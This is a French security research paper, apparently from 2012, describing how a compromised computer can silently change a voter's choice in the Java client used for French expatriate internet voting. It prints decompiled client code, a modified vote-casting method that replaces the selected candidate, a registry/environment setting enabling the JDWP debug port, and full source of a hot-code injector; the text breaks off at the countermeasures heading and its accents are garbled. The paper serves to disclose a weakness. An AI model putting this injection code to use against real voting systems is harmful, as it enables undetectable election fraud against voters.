Comment mon ordinateur a vot  ma place ea

(et  mon insu) a 

Laurent GREGOIRE
laurent.gregoire@gmail.com

27 mai 2012
R´sum´ e e

En Mai 2012, les franais rsidant  l'tranger ont la possibilit de c e a e e voter via Internet pour les deux tours des lections lgislatives. L'objectif e e de cet article est de montrer en quoi le systme de vote utilis est sensible  e e a une attaque de type \homme du milieu" (\man in the middle attack" ), par une injection de code ; comment la raliser dans les faits ; et une e dmonstration d'une attaque russie, lors d'un vote, en conditions relles. e e e

Table des mati`res e
1 2 Introduction Mise en œuvre 2 3

2.1 2.2 2.3 2.4 2.5 2.6 2.7
3 4 5

Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . e e e  Etapes en image . . . . . . . . . . . . . . . . . . . . . . . . . . . Rcupration du programme client . . . . . . . . . . . . . . . . . e e Dcompilation et analyse du programme client . . . . . . . . . . e Modi cation du programme client . . . . . . . . . . . . . . . . . Modi cation de l'environnement d'excution de la machine virtuelle e Programme d'injection \ chaud" . . . . . . . . . . . . . . . . . . a

3 4 5 6 9 13 15
17 18 19

D´monstration e Contre-mesures Conclusion

1

1 Introduction
Une condition ncessaire |mais pas susante|,  la scurit du vote par Ine a e e ternet est la ncessit d'avoir un systme able de bout en bout, tout au long de e e e la cha^ne de traitement de l'information. Cette cha^ne de traitement se compose   des trois lments principaux suivants : ee { Le client : ce qui s'excute sur l'ordinateur de l'lecteur, e e { La communication entre le client et le serveur, { Le serveur : ce qui s'excute chez l'organisateur de l'lection, ou un prestataire e e priv. e La technologie utilise pour la partie cliente, dans le cadre de ces lections, est e e un programme Java, sign, tlcharg via une liaison scurise (protocole https ) e ee e e e depuis le serveur de vote, et qui s'excute  travers le navigateur client, via le e a mcanisme Java web-start, dans un environnement d'excution local. Cet envie e ronnement d'excution est ce que l'on appelle une machine virtuelle Java (ou e JVM |Java Virtual Machine ), qui permet d'excuter de faon \scurise" 1 e c e e du code Java compil, aussi appel bytecode. e e

La scurit de bout en bout ncessite une con ance et une ma^trise absolue du e e e  systme sur lequel s'excute le programme client. Dans certains cas, l'lecteur e e e peut-^tre amen  utiliser un ordinateur qu'il ne contr^le pas lui-m^me, comme e ea o e un ordinateur public ou un poste sur son lieu de travail. Ce n'est malheureusement pas le cas, de part la nature m^me des technologies utilises, et du faible e e niveau de scurit de l'ordinateur et du systme d'exploitation client. e e e L'attaque mise en uvre ici prsuppose que l'ordinateur sur lequel l'lecteur e e vote peut ^tre compromis. Par compromis, on entend qu'un programme malie cieux fonctionne  l'insu de l'utilisateur, comme le font les chevaux de Troie ou a les logiciels espions. Ce programme peut-^tre install par toute personne ayant e e un accs physique  la machine, ou plus simplement via le tlchargement par e a ee l'utilisateur d'un programme malicieux, dguis sous une forme anodine, comme e e par exemple un conomiseur d'cran ou un jeu. e e Pour rappel, une tude datant de 2010 montre que, sur 22 millions d'ordinateurs e analyss, prs de 48% sont infects par ce genre de programme 2 . Malheureusee e e
1. nous verrons plus loin ce que \scuris" signi e... e e 2. http ://zd.net/cM9btD

2

ment, la majorit des utilisateurs n'en sont pas conscient, et ne prennent pas e toutes les mesures de scurit adquates pour viter ces problmes. D'autre part, e e e e e d'un point de vue  la fois dmocratique et d'organisation, on peut dicilement a e n'autoriser  voter que les seuls lecteurs pouvant assurer la scurit de leur a e e e ordinateur. Pour cette tude, il a t ncessaire de choisir deux candidats d'exemple. Le e ee e choix du candidat du parti pirate est un clin d'il car ce candidat a fait part de son opposition radicale au vote lectronique. Cela ne prjuge ni de la ralit e e e e des faits, ni de choix personnels.

2 Mise en œuvre
2.1 G´n´ralit´s e e e
L'attaque se ralise en trois tapes : e e 1. La dcompilation et l'analyse du code client utilis pour le vote, e e 2. La modi cation de la partie du code permettant de modi er le choix de l'lecteur  son insu, e a 3. L'injection du code ainsi modi  dans la machine virtuelle. e Les deux premires tapes se font par l'attaquant, une fois pour toutes, sur e e n'importe quelle machine qui dispose d'un compte d'lecteur. La troisime tape e e e s'e ectue par un programme install sur les ordinateurs de vote compromis. e L'utilisation de code Java nous facilite la t^che sur toutes les tapes du procesa e sus. Premirement, le bytecode Java est une reprsentation complte et trs facilee e e e ment dcompilable du code source initial. Le language Java tant un language e e r exif, l'intgralit du code source |sauf les commentaires, dont on peut se e e e passer| est prsent dans le code compil. Ceci inclut les noms de classes, les e e noms de variables, ainsi que toute la structure smantique du programme 3 . Il e est ainsi ais de reconstituer le code source initial. e En second, les machines virtuelles possdent en standard un mode de fonce tionnement spcial, dit de dbogage, o l'on ouvre un canal de communication e e u avec l'extrieur, permettant  un programmeur d'inspecter et de modi er le e a
3. Pour ^tre tout  fait prcis, il existe quelques cas rares (boucles for et while ) qui sont sure a e jectifs par rapport  la transformation de compilation, dans le sens o deux structures sources a u di rentes produisent le m^me bytecode. Mais ce cas n'est pas g^nant, car la smantique du e e e e code source est identique dans les deux cas.

3

comportement de ladite machine virtuelle, notamment par l'injection de nouveau bytecode \ chaud", pour une partie quelconque du programme en cours a d'excution. Cette communication utilise un protocole qui porte le nom de e JDWP (Java Debug Wire Protocol) ; l'architecture de ce mode de dbogage e porte le nom de JPDA (Java Platform Debugger Architecture). Il est ainsi ais e pour un cheval de troie de modi er le code du programme de vote en cours d'excution dans la machine virtuelle. Pour ce faire il sut d'activer ce mode e spcial de dbogage sur la machine virtuelle, avant son excution. e e e

´ 2.2 Etapes en image
Premire tape : l'attaquant dcompile et inspecte le code de vote, qu'il tlcharge e e e ee en tant qu'lecteur. e

Deuxime tape : il modi e aisment une toute petite partie du code : celui e e e qui met le choix de l'utilisateur au serveur central. Ce code modi e le vote de e l'utilisateur,  son insu, tout en prenant garde d'acher le rsultat non modi  a e e  l'utilisateur. Avec le programme d'injection, tout ceci est enrob dans un a e petit programme anodin \pot de miel", par exemple un petit jeu en lien avec l'lection. e

Troisime tape : un certain nombre d'lecteurs ont tlcharg le pot de miel et e e e ee e l'ont excut. Le programme pot de miel s'installe alors en tant que programme e e non privilgi (il n'a pas besoin de privilges administrateur, ce qui permet e e e de passer sous certains radars) en attente du jour de l'lection. Le pot de miel e active le mode JPDA le jour J, le programme de vote est tlcharg par l'lecteur, ee e e l'injecteur injecte immdiatement le code corrompu via JDWP. e

4

L'lecteur vote pour le candidat A. Le code inject remplace son choix par le e e candidat B, qui est enregistr par le serveur central. Le programme peut alors e s'auto-dtruire proprement pour ne pas laisser de traces. L'ordinateur a vot  e ea la place de l'lecteur,  son insu ! Il est impossible de dtecter la fraude : du e a e point de vue du serveur, toute l'opration s'est passe \dans les rgles". e e e

Au cas o l'attaquant ne peut pas disposer  l'avance de code de vote, il est ais u a e de procder  la dcompilation et  la modi cation du programme de vote le e a e a seul jour de l'lection : cette tape est trs rapide. Dans ce cas, le pot de miel e e e pr-install tlcharge le code  injecter depuis un serveur distant, au moment e e ee a o celui-ci doit raliser l'injection. u e Suite au vote, l'lecteur reoit un rcipiss lectronique qui lui permet ensuite e c e ee de valider que son vote a bien t enregistr. Malheureusement une seconde ee e attaque identique  la premire peut aisment convertir le rsultat envoy par a e e e e le serveur, a n d'acher  l'lecteur son choix initial, qu'il a cru e ectuer. a e

2.3 R´cup´ration du programme client e e
La premire tape consiste  rcuprer depuis le serveur du ministre des a aires e e a e e e trangres le programme (.jar) de vote. Une rapide analyse du code source de la e e page web avec l'outil de dveloppement du navigateur Chromium nous renseigne e sur l'adresse assez aisment. e

5

L'URL (adresse internet) de l'application de vote utilise est tout simplement e https ://scrutin.diplomatie.gouv.fr/portail/voting-applet.jar. On tlcharge et ee on sauvegarde le programme client pour l'tape suivante. e

2.4 D´compilation et analyse du programme client e
Le programme client n'est pas obfusqu 4 , ce qui facilite notre analyse. e On utilise pour la dcompilation le programme Java Decompiler 5 , c'est le e meilleur disponible sur le march, et il est gratuit pour toute utilisation non e
4. L'obfuscation de code en Java est un mcanisme qui permet de rendre le processus de e rtro-ingnieurie plus dicile |mais jamais impossible|, en remplaant les noms de classes e e c et de variables par des squences de lettres arbitraires. Par exemple, une classe nomme e e GenerateurDeMotDePasse, une fois obfusque, pourrait ^tre renomme en Ayuw. e e e 5. http ://java.decompiler.free.fr/

6

commerciale. Le code source ainsi gnr est empaquet dans un chier zip. e ee e

A n d'analyser  notre aise le fonctionnement du programme client, nous crons a ee un projet Java sous Eclipse en important les sources ainsi dcompiles. Eclipse e e est un environnement de dveloppement (IDE) open-source, spcialis dans le e e e language Java 6 . Tout autre IDE ferait aussi bien l'a aire.
6. http ://eclipse.org/

7

Ensuite, nous crons un pro l de dbogage distant en connexion avec la JVM e e sous laquelle le programme de vote s'excute. Pour l'activation du mode de e dbogage de la JVM, Cf. section 2.6 page 13. e Il sut ensuite de lancer le programme de vote. Ci-dessous une copie d'cran de e la console de debugging jdb en connexion avec le programme de vote en cours d'excution. On peut aisment insrer des points d'arr^ts et inspecter la valeur e e e e des di rentes variables. e

8

2.5 Modification du programme client
En analysant rapidement le code source du programme, il appara^t que les  classes les plus faciles  modi er sont celles appartenant  la machine  tat a a ae (state machine ) qui contr^le le droulement de l'opration de vote. Les di rents o e e e tats (une classe par tat) sont : e e { UnauthenticatedState { utilisateur non identi  e { Identi edState { utilisateur identi  e { HasTokenState { utilisateur possde un jeton de vote e { HasBallotState { utilisateur ayant e ectu son choix e { VoteValidatedState { utilisateur a con rm son choix e { VoteCastState { utilisateur \a vot" e Les oprations associs aux changement d'tats sont : e e e { login { identi cation { logout { dconnexion e { discardElection { annulation de l'lection en cours e { pickElection { choix d'une lection lors d'lections multiples e e { produceBallot { choix d'un vote pour une lection e { validateVote { validation du choix pour un vote { discardVote { annulation du vote en cours { castVote { envoit du vote au serveur pour enregistrement { nextElection { passage  l'lection suivante, si possible a e La mthode qui nous intresse ici est \HasBallotState.validateVote()", qui core e respond  l'tape o l'utilisateur vient de slectionner le candidat de son choix, a e u e et o l'on pourra extraire les valeurs qui nous intressent. u e Ci-dessous une premire modi cation du code de cette mthode, permettant e e d'acher les identi ants des di rents candidats. La modi cation apporte afe e che  l'cran la liste des identi ants internes des di rents candidats, et pour a e e chacun d'entre-eux le choix e ectu (oui ou non). e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
package com . scytl . pnyx . client . state . automaton ; import com . scytl . common . domain . election . ballot . Questio nAnswer ; import com . scytl . common . domain . election . ballot . ValuedMultipleChoiceQuestionAnswer ; import com . scytl . pnyx . client . communication . connector . P r o t o c o l C o n n e c t o r ; import com . scytl . pnyx . protocol . P n y x P r o t o c o l E x c e p t i o n ; import java . util . Map ; import javax . swing . JFrame ; import javax . swing . JOptionPane ; public class H asBallo tState extends AbstractState { public HasBa llotSta te ( P r o t o c o l C o n n e c t o r connector ) { super ( connector ) ; }

9

18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

public void validateVote ( Map < String , QuestionAnswer > vote ) throws P n y x P r o t o c o l E x c e p t i o n { /* ---- CODE INSERE ---- */ StringBuffer sb = new StringBuffer () ; for ( Map . Entry < String , QuestionAnswer > kv : vote . entrySet () ) { sb . append ( " ID ELECTION : " + kv . getKey () + " \ n " ) ; sb . append ( " REPONSES :\ n " ) ; V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r qa = ( V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r ) kv . getValue () ; Map < String , String > answers = qa . g e t A n s w e r I d V a l u e s () ; for ( Map . Entry < String , String > kv2 : answers . entrySet () ) { sb . append ( " CANDIDAT ID : " + kv2 . getKey () + " CHOIX ELECTEUR : " + kv2 . getValue () + " \ n " ) ; } } JOptionPane . s h o w M e s s a g e D i a l o g ( JFrame . getFrames () [0] , sb . toString () ) ; /* ---- FIN DU CODE INSERE ---- */ getConnector () . validateVote ( vote ) ; } public void enter () { } public void leave () { } }

-

Une fois le code inject, on obtient lors de l'excution du programme de vote e e le rsultat ci-dessous. L'identi ant pour le candidat slectionn, ici le candie e e dat des verts, est \ 808081375acd2201375adad63d036e". Un seul candidat est slectionn, les candidats qui ne le sont pas ont pour valeur null. e e

On obtient ainsi la liste complte des identi ants des di rents candidats pour e e le premier tour, ici pour la circonscription du Benelux. 10

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

ID ELECTION : f f 8 0 8 0 8 1 3 7 5 a c d 2 2 0 1 3 7 5 a d a d 6 2 d 0 3 5 6 LE BRETON : VALENTI : DUBOST : BALAVOINE : BUFFETAUT : BOURAHLA : SEINGRY : LEDAN : CORDERY : DUVAL : CHEVALIER : MARTIN - GOMEZ : MONTCHAMP : MOHEDANO : TAITTINGER : PAILLE : * VOTE BLANC : ff808081375acd2201375adad63d0359 ff808081375acd2201375adad63d035c ff808081375acd2201375adad63d035f ff808081375acd2201375adad63d0362 ff808081375acd2201375adad63d0365 ff808081375acd2201375adad63d0368 ff808081375acd2201375adad63d036b ff808081375acd2201375adad63d036e ff808081375acd2201375adad63d0371 ff808081375acd2201375adad63d0374 ff808081375acd2201375adad63d0377 ff808081375acd2201375adad63d037a ff808081375acd2201375adad63d037d ff808081375acd2201375adad63d0380 ff808081375acd2201375adad63d0383 ff808081375acd2201375adad63d0386 ff808081375acd2201375adad63d0389

Une fois ces di rents identi ants obtenus, on peut passer  la seconde tape, e a e qui consiste  modi er le choix e ectu par l'lecteur juste avant son mission a e e e sur le serveur central. Cette fois-ci on e ectue la modi cation dans la classe de contr^le de la communication avec le serveur (MessageProtocol.java). En o e et, la modi cation doit s'e ectuer au dernier moment, aprs l'tape de valie e dation, car sinon l'lecteur pourrait se rendre compte de la modi cation lors de e l'tape de validation. Ci-dessous le code avec la modi cation dans la mthode e e \doCastVote()", situe vers la n de la classe. e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
package com . scytl . pnyx . client . communication . application ; import com . scytl . common . domain . MessageType ; import com . scytl . common . domain . election . Elec toralSc ope ; import com . scytl . common . domain . election . ballot . Ballot ; import com . scytl . common . domain . election . ballot . Questio nAnswer ; import com . scytl . common . domain . election . ballot . ValuedMultipleChoiceQuestionAnswer ; import com . scytl . common . url . UrlHelper ; import com . scytl . crypto . C r y p t o g r a p h i c A l g o r i t h m s ; import com . scytl . crypto . C r y p t o g r a p h i c F o r m a t s ; import com . scytl . pnyx . client . VoteReceipt ; import com . scytl . pnyx . client . communication . application . message . AuthenticationMessageDelegator ; import com . scytl . pnyx . client . communication . application . message . BallotMessage ; import com . scytl . pnyx . client . communication . application . message . CertificatesMessage ; import com . scytl . pnyx . client . communication . application . message . SecureMessageMessage ; import com . scytl . pnyx . client . communication . connector . ClientData ; import com . scytl . pnyx . client . communication . transport . P n y x C l i e n t D e s t i n a t i o n ; import com . scytl . pnyx . client . communication . transport . Transport ; import com . scytl . pnyx . client . state . LoginData ; import com . scytl . pnyx . protocol . P n y x P r o t o c o l E x c e p t i o n ; import java . net . URL ; import java . security . G e n e r a l S e c u r i t y E x c e p t i o n ; import java . security . PublicKey ; import java . security . cert . CertStore ; import java . util . Map ;

11

27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90

import javax . swing . JFrame ; import javax . swing . JOptionPane ; import org . picocontainer . C o m p on e n t M o n i t o r ; public class M e s s a g e s P r o t o c o l implements A p p l i c a t i o n P r o t o c o l { private final Transport < URL > _transport ; private final A u th en ti c at io nM e ss ag e De le ga t or < LoginData > _authenticationMessage ; private final C e r t i f i c a t e s M e s s a g e _ c e r t i f i c a t e s M e s s a g e ; private final BallotMessage _b al l ot sM e ss ag e ; private final S e c u r e M e s s a g e M e s s a g e _ s e c u r e M e s s a g e M e s s a g e ; private final PnyxClientDestination < URL > _destinations ; private final C r y p t o g r a p h i c F o r m a t s _cryp toFormat s ; private final C r y p t o g r a p h i c A l g o r i t h m s _ c r y p t o A l g o r i t h m s ; public M e s s a g e s P ro t o c o l ( Transport < URL > transport , PnyxClientDestination < URL > destinations , C r y p t o g r a p h i c F o r m a t s cryptoFormats , C r y p t o g r a p h i c A l g o r i t h m s c r y p t o Al g o r i t h m s ) throws G e n e r a l S e c u r i t y E x c e p t i o n { this . _transport = transport ; this . _destinations = destinations ; this . _cr yptoFor mats = cryptoFormats ; this . _ c r y p t o A l g o r i t h m s = c r y p t o A l g o r i t h m s ; this . _ a u t h e n t i c a t i o n M e s s a g e = new A u t h e n t i c a t i o n M e s s a g e D e l e g a t o r ( this . _cryptoAlgorithms , this . _crypt oFormat s ) ; this . _ c e r t i f i c a t e s M e s s a g e = new C e r t i f i c a t e s M e s s a g e ( this . _cryp toForma ts ) ; this . _b al l ot sM es s ag e = new BallotMessage () ; this . _ s e c u r e M e s s a g e M e s s a g e = new S e c u r e M e s s a g e M e s s a g e ( this . _ c r y p t o A l g o r i t h m s ) ; } public K e y s t o r e A nd T o k e n doAu thentica te ( LoginData loginData , Elec toralSco pe scope ) throws Ap plicatio nProtoc olExcept ion , PnyxProtocolException { String response = this . _transport . sendMessage ( this . _ a u t h e n t i c a t i o n M e s s a g e . createMessage ( loginData , scope ) , this . _destinations . g e t P n y x A u t h e n t i c a t i o n A c t i o n () ) ; return this . _ a u t h e n t i c a t i o n M e s s a g e . parseResponse ( UrlHelper . d e co d e P a r a m e t e r s ( response ) , loginData ) ; } public C o m p o n e n t Mo n i t o r d o G e t T o k e n $ 3 b 1 6 f 5 d 5 ( LoginData loginData , Elec toralSco pe scope ) throws Ap plicatio nProtoc olExcept ion , PnyxProtocolException { String response = this . _transport . sendMessage ( this . _ a u t h e n t i c a t i o n M e s s a g e . createMessage ( loginData , scope ) , this . _destinations . g e t P n y x G e t T o k e n A c t i o n () ) ; return this . _ a u t h e n t i c a t i o n M e s s a g e . parseResponse ( UrlHelper . d e co d e P a r a m e t e r s ( response ) , loginData ) . g e t T o k e n $ 4 9 2 6 2 4 1 8 () ; } public CertStore d o G e t C e r t i f i c a t e s $ 1 c 0 c d 8 e d ( C o m p o n e n t M o n i t o r token ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { String response = this . _transport . sendMessage ( this . _ c e r t i f i c a t e s M e s s a g e . c r e a t e M e s s a g e $ 4 d a a 6 1 5 3 ( token ) , this . _destinations . g e t P n y x G e t C e r t i f i c a t e s A c t i o n () ) ; return this . _ c e r t i f i c a t e s M e s s a g e . parseResponse ( response ) ; }
-

-

-

12

91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133

public Ballot d o G e t B a l l o t $ 1 a b f f d f 5 ( C o m p o n e n t M o n i t o r paramComponentMonitor , PublicKey paramPublicKey , MessageType p a r a m Me s s a g e T y p e ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { String str = this . _transport . sendMessage ( this . _b al l ot sM es s ag e . c r e a t e M e s s a g e $ 5 3 a 2 7 e 3 a ( paramComponentMonitor , p a r a m M e s s a g e T y p e ) , this . _destinations . g e t P n y x G e t B a l l o t A c t i o n () ) ; return this . _ b al lo t sM es sa g e . parseResponse ( str , para mPublicK ey ) ; } public VoteReceipt doCastVote ( ClientData clientData ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { /* ---- CODE INSERE ---- */ Map < String , QuestionAnswer > vote = clientData . g e t Tr u s t e d B a l l o t () . g e t B a l l o t A n s w e r s () ; for ( Map . Entry < String , QuestionAnswer > kv : vote . entrySet () ) { V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r qa = ( V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r ) kv . getValue () ; Map < String , String > answers = qa . g e t A n s w e r I d V a l u e s () ; for ( Map . Entry < String , String > kv2 : answers . entrySet () ) { String idCandidat = kv2 . getKey () ; if ( idCandidat . equals ( " f f 8 0 8 0 8 1 3 7 5 a c d 2 2 0 1 3 7 5 a d a d 6 3 d 0 3 7 a " ) ) kv2 . setValue ( " 1 " ) ; else kv2 . setValue ( null ) ; } } /* ---- CODE OPTIONEL ( AFFICHAGE D ’ UNE BOITE DE DIALOGUE ) ---- */ StringBuffer sb = new StringBuffer ( " DOMMAGE ! CETTE APPLICATION DE VOTE EST COMPROMISE .\ n " ) ; sb . append ( " QUELQUE - SOIT VOTRE CHOIX , VOUS ALLEZ VOTER EN REALITE POUR LE CANDIDAT PIRATE .\ n " ) ; JOptionPane . s h o w M e s s a g e D i a l o g ( JFrame . getFrames () [0] , sb . toString () ) ; /* ---- FIN DU CODE INSERE ---- */ C l i e n t D a t a M a n a g e r clientDataMgr = new C l i e n t D a t a M a n a g e r ( clientData ) ; String response = this . _transport . sendMessage ( this . _ s e c u r e M e s s a g e M e s s a g e . createMessage ( clientDataMgr ) , this . _destinations . g e t P n y x C a s t V o t e A c t i o n () ) ; return this . _ s e c u r e M e s s a g e M e s s a g e . parseResponse ( response , clientDataMgr ) ; } }

-

-

Il est bien vident que dans le cas d'un piratage rel, un attaquant prendra soin e e de ne pas ajouter le code qui ache la boite de dialogue avertissant l'lecteur e que son choix  t modi  ! Ici, je le rappelle, l'objectif n'est pas de pirater le aee e systme, mais de prouver la faisabilit du piratage. e e

2.6 Modification de l’environnement d’ex´cution de la machine virtuelle e
A n de pouvoir injecter le code modi  dans la JVM qui excute le programme e e de vote client, on ajoute la variable d'environnement JAVAWS VM ARGS  a l'environnement de l'utilisateur en cours. Cette variable est utilise par les JVM e 13

standards pour activer le mode de dbogage (JDWP). e
1
JAVA WS_VM_AR GS = - Xdebug - Xrunjdwp : transport = dt_socket , server =y , suspend =n , address =6666
-

La cl correspondante dans la base de registre : e
1
/ H K E Y _ C U R R E N T _ U S E R / Environment / JAVAW S_WS_ARG S

Les paramtres JDWP utiliss sont : e e { Communication locale via une socket, ce qui chappe  tout contr^le de la e a o part du pare-feu,  { Ecoute en mode serveur, et non pas client, { On ne suspend pas l'excution de la machine virtuelle en attente du client. Ce e point est important, car il ne faut pas veiller les soupons de l'utilisateur en e c ralentissant l'excution du programme de vote, dans l'attente de la connection e de l'injecteur. { Le port d'coute local choisi ici est 6666, mais n'importe quel port none privilgi peut faire l'a aire. Il est possible de choisir 0 pour laisser la machine e e virtuelle allouer un port non utilis, au prix d'une petite complexit pour e e l'injecteur de code qui devra alors scanner les di rents ports ouverts pour e dterminer celui qui correspond au protocole JDWP. e On remarquera que l'ajout d'une nouvelle variable d'environnement utilisateur ne ncessite pas de privilges administrateur, et peut se faire par n'importe quel e e programme que l'utilisateur excute lui-m^me sur sa machine. e e

14

2.7 Programme d’injection “` chaud” a
Le programme utilise la bibliothque tools.jar, qui ne fait pas partie des classes e standard du Java, mais qui est incluse dans tous les JRE 7 ( chier lib/tools.jar). Cette bibliothque contient le code client de l'API JDWP et permet de raliser e e trs facilement l'injecteur. e L'injecteur se compose de deux classes. La premire classe contient des fonctions e utilitaires pour grer la connexion JDWP avec la JVM. La seconde classe charge e le bytecode  injecter depuis un chier .class, suspend l'excution de la JVM, a e inspecte la liste des classes pr-charges, se met en coute des vvements de e e e e e type chargement de classe, et en n relance la JVM. Deux cas peuvent se prsenter : e { La classe  injecter est dj charge avant la suspension de la JVM, auquel a ea e cas le nouveau code est directement inject au lancement ; e { La classe  injecter n'est pas encore charge, auquel cas l'injecteur scrute pour a e chaque vnement de chargement celui correspondant  la classe  injecter. e e a a Lorsque celui-ci intervient, le code est inject. e Le port de connexion, le nom de la classe  injecter et le code correspondant a sont, dans le cadre de cette preuve de concept, des paramtres passs en ligne de e e commande. Dans une utilisation relle, il est facile pour l'attaquant d'enrober e tout cela dans un programme indpendant. e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
package autovote . jdpa ; import java . io . IOException ; import java . util . Map ; import import import import import import com . sun . jdi . Bootstrap ; com . sun . jdi . V irtualM achine ; com . sun . jdi . V i r t u a l M a c h i n e M a n a g e r ; com . sun . jdi . connect . A t t a c h i n g C o n n e c t o r ; com . sun . jdi . connect . Connector ; com . sun . jdi . connect . I l l e g a l C o n n e c t o r A r g u m e n t s E x c e p t i o n ;

public class VMAcquirer { public Virtu alMachi ne connect ( int port ) throws IOException , IllegalConnectorArgumentsException { String strPort = Integer . toString ( port ) ; A t t a c h i n g C o n n e c t o r connector = getConnector () ; Virt ualMach ine vm = connect ( connector , strPort ) ; return vm ; } private A t t a c h i n g C o n n e c t o r getConnector () { V i r t u a l M a c h i n e M a n a g e r vmManager = Bootstrap . v i r t u a l M a c h i n e M a n a g e r () ; for ( Connector connector : vmManager . a t t a c h i n g C o n n e c t o r s () ) { System . out . println ( connector . name () ) ; if ( " com . sun . jdi . SocketAttach " . equals ( connector . name () ) ) { return ( A t t a c h i n g C o n n e c t o r ) connector ;

-

7. JRE ou Java

Runtime Environment : environnement d'excution Java. e
15

29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

} } throw new I l l e g a l S t a t e E x c e p t i o n () ; } private Vi rtualMa chine connect ( A t t a c h i n g C o n n e c t o r connector , String port ) throws I l l e g a l C o n n e c t o r A r g u m e n t s E x c e p t i o n , IOException { Map < String , Connector . Argument > args = connector . d e f a u l t A r g u m e n t s () ; Connector . Argument arg = args . get ( " port " ) ; if ( arg == null ) throw new I l l e g a l S t a t e E x c e p t i o n () ; arg . setValue ( port ) ; return connector . attach ( args ) ; } }

-

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

package autovote . jdpa ; import import import import import import import import import import import import import import import import import java . io . B y t e A r r a y O u t p u t S t r e a m ; java . io . F il eI n pu tS tr e am ; java . io . IOException ; java . io . InputStream ; java . util . HashMap ; java . util . List ; java . util . Map ; com . sun . jdi . ReferenceType ; com . sun . jdi . V irtualM achine ; com . sun . jdi . event . C l a s s P r e p a r e E v e n t ; com . sun . jdi . event . Event ; com . sun . jdi . event . EventQueue ; com . sun . jdi . event . EventSet ; com . sun . jdi . event . VMDeathEvent ; com . sun . jdi . event . V M D i s c o n n e c t E v e n t ; com . sun . jdi . request . C l a s s P r e p a r e R e q u e s t ; com . sun . jdi . request . E v e n t R e q u e s t M a n a g e r ;

public class Injector { Map < String , String > injections ; { injections = new HashMap < String , String >() ; injections . put ( " com . scytl . pnyx . client . state . automaton . UnauthenticatedState ", " ./ U n a u t h e n t i c a t e d S t a t e . class " ) ; injections . put ( " com . scytl . pnyx . client . state . automaton . HasBa llotSta te " , " ./ HasBall otState . class " ) ; injections . put ( " com . scytl . pnyx . client . communication . application . M e s s a g e s P r o t o c ol " , " ./ Me s s a g e s P r o t o c o l . class " ) ; } public void run () throws Exception { Virt ualMach ine vm = new VMAcquirer () . connect (6666) ; System . out . println ( " Connected . " ) ; for ( String clazz : injections . keySet () ) { List < ReferenceType > ref erenceTy pes = vm . classesByName ( clazz ) ; for ( ReferenceType refType : refe renceTy pes ) { hotc odeRepla ce ( vm , refType , loadBytecode ( injections . get ( clazz ) ) ) ; } addClassWatch ( vm , clazz ) ;

-

-

16

44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96

} vm . resume () ; EventQueue eventQueue = vm . eventQueue () ; while ( true ) { EventSet evSet = eventQueue . remove () ; for ( Event ev : evSet ) { if ( ev instanceof C l a s s P r e p a r e E v e n t ) { C l a s s P r e p a r e E v e n t clas sPrepEv ent = ( C l a s s P r e p a r e E v e n t ) ev ; ReferenceType refType = classPr epEvent . referenceType () ; hotco deRepla ce ( vm , refType , loadBytecode ( injections . get ( refType . name () ) ) ) ; } else if ( ev instanceof VMDeathEvent || ev instanceof V M D i s c o n n e c t E v e n t ) { return ; } } evSet . resume () ; } } private static void hotcodeR eplace ( Virtu alMachin e vm , ReferenceType refType , byte [] bytecode ) throws IOException { Map < ReferenceType , byte [] > hotc odeRepla ce = new HashMap < ReferenceType , byte [] >() ; hotc odeRepl ace . put ( refType , bytecode ) ; vm . r e de fi ne C la ss e s ( h otcodeR eplace ) ; System . out . println ( " Injected " + refType . name () ) ; } private static void addClassWatch ( Virtual Machine vm , String className ) { E v e n t R e q u e s t M a n a g e r erm = vm . e v e n t R e q u e s t M a n a g e r () ; C l a s s P r e p a r e R e q u e s t c l a s s P r e p a r e R e q u e s t = erm . c r e a t e C l a s s P r e p a r e R e q u e s t () ; c l a s s P r e p a r e R e q u e s t . addClas sFilter ( className ) ; c l a s s P r e p a r e R e q u e s t . setEnabled ( true ) ; } private byte [] loadBytecode ( String bytecodeFile ) throws IOException { B y t e A r r a y O u t p u t S t r e a m out = new B y t e A r r a y O u t p u t S t r e a m () ; InputStream in = getClass () . g e t R e s o u r c e A s S t r e a m ( bytecodeFile ) ; if ( in == null ) in = new Fi le I np ut S tr ea m ( " bin2 / " + bytecodeFile ) ; byte [] buf = new byte [1024]; while ( true ) { int len = in . read ( buf ) ; if ( len == -1) break ; out . write ( buf , 0 , len ) ; } in . close () ; out . close () ; return out . toByteArray () ; } }

-

-

3 D´monstration e
La copie d'cran ci-dessous montre le programme de vote, en condition relle e e d'utilisation. Le programme a t modi  en suivant la mthode propose plus ee e e e 17

haut. Le code inject ici ache simplement les identi ants et mots de passe e (pin) entrs par l'utilisateur. Les valeurs aches sont des valeurs obtenues e e aprs l'application d'une fonction de hachage. e

Pour une dmonstration plus complte, voir la vido en ligne  l'adresse suive e e a ante : https ://vimeo.com/42935480

4 Contre-mesures
